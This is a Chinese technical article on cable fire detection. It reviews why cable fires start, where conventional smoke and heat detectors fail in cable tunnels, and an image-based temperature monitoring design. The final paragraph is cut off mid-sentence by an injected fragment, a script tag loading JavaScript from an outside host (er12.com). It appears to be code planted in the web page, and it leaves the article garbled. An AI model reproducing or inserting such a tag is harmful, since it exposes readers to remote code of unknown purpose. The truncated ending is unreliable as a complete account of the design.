电缆火灾报警方案的研究

摘 要:对电缆火灾产生的原因、特点及目前国内电缆火灾监测的方法进行了初步分析和探讨,研究了一套新型电缆温度在线监测系统,该系统性能稳定,有广阔的应用前景。

关键词:图象型火灾探测器;在线监测系统

现代工业企业的生产,离不开电力及其控制。而电力的输送和控制的实现,则是由大量的电缆来完成的。国家消防法规中明确规定,电缆隧道或电缆层必须安装火灾自动报警系统。目前的火灾自动报警系统,由于装置自身的可靠性或对恶劣环境的适应性不强,要么可用周期短,要么经常产生误报,长此以往就会导致监控人员对报警失去警觉,从而对火灾的初期发生就很难做到及时发现,有效控制。

1电缆火灾原因及主要特点

通过对近20年我国火电厂发生的电缆火灾事故分析发现,引起电缆火灾的原因主要有以下几种:

(1) 电缆老化、绝缘层损坏、发生短路;(2) 电缆铺设不当影响通风散热;(3) 人为误操作引起电缆火灾;(4) 电缆外部堆积的煤粉自燃。

电缆火灾的主要特点有以下几点:

(1) 发烟量大且燃烧产物有毒;(2) 火灾初期难以发现;(3) 场地复杂,不利于火灾扑救;(4) 管道井空隙多,助长火势蔓延;(5) 损失严重,影响范围广。

2目前国内电缆火灾监测方法

2.1线型感温火灾探测器

其使用特点是:

(1) 适合连续型长型可燃物体(如电缆)的保护,但必须与被保护物体保持良好接确,否则其探测效果将大大降低;

(2) 由于没有屏蔽层保护,这种线型火灾探测器极易受到电磁干扰。

(3) 系统仅能一次性使用,不能测出电缆的实际温度值;由于电缆数量多,系统安装及维护工作不够方便,设备易损坏;不能进行早期故障预测,不能实时显示测量值,无温度趋势分析。

2.2热敏电阻式测温系统

可以显示温度值,但由于每个热敏电阻都需要独立的接线,布线复杂且热敏电阻易损坏,故维护量大;传感器不具备自检功能,需要经常检验,因此也不常采用。

2.3点型感烟式火灾探测器

根据使用特点分为光电型感烟火灾探测器和离子型感烟火灾探测器。感烟火灾探测器使用特点是:

(1) 必须有烟雾颗粒进入探测器内部构造出的光线场和电离场,因此这种探测器的保护范围受到限制,通常为几十平方米;

(2) 任何微粒都可能引起感烟火灾探测器的动作。除火灾烟雾微粒外,还有灰尘微粒、水蒸汽、挥发性有机物,甚至小昆虫。

2.4点型感温式火灾探测器

感温火灾探测器必须直接接触加热空气或高温烟气,否则会因为气体热交换能力相对较弱,很难使感温探测器动作。其使用特点是:

(1) 环境中因火灾发生而引起的温度异常升高仅发生在火灾部位及其邻近周围,因此这种探测器的保护面积有限,并且通常小于感烟型探测器的保护面积;

(2) 除非与被加热空气和火灾烟气直接发生接触,否则温度的急剧变化一般总会造成感温火灾探测器的火灾报警的延迟。

以上为几种常用的电缆火灾监测方法。在电缆实际敷设场所,潮湿、粉尘、通风不良和电磁干扰是普遍存在的共性问题,潮湿和粉尘与火灾烟雾中的烟尘颗粒一样,均可进入感烟火灾探测器内部构造出的光线场或电离场,从而导致探测器动作,发出误报警。潮湿和粉尘甚至会沉积在敏感元件表面,严重时造成感烟探测器无法正常工作。

通风不良会进一步阻碍火灾烟气或被加热空气与周围空气之间的热交换,并阻碍它们的流动,这种状况使感温火灾探测器的火灾报警更加延误;潮湿和灰尘在感温元件上的沉积,也会影响到感温元件的灵敏度。灰尘的沉积将会影响线型感温火灾探测器的灵敏度,而电磁干扰则有可能造成这种探测器无法正常工作。

以上的分析表明,传统的火灾探测方式在进行电缆火灾监测时,因为环境因素的影响,总是存在着这样或那样的问题,其原因在于:

(1) 点型感烟火灾探测器失效于电缆敷设场所的粉尘和潮湿;

(2) 点型感温火灾探测器不能对电缆火灾作出及时反应;

(3) 线型感温火灾探测器易受电缆电磁干扰影响。

3电缆温度在线监测系统方案设计

系统主要应用了分布式网络化、多元化测温系统的原理,以图像甄别的光学技术和图象处理计算机技术为支撑的图像型火灾探测器为基础,图像型火灾探测器的关键器件是图象甄别器和摄像机,这两个部件均可密闭在防护罩中,从而可以阻隔潮湿和粉尘对它们的影响。图像传输采用的是同轴屏蔽电缆,因此对其周围的电磁干扰有良好的屏蔽作用,图像型火灾探侧器的上述特点使之适合于在潮湿、粉尘、电磁干扰的场所中使用。其次,图像型火灾探测器的另一特点是它的探测范围为摄像机镜头所摄范围。电缆隧道或电缆层的视觉特征是直视距离长,范围大,恰巧适合摄像?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计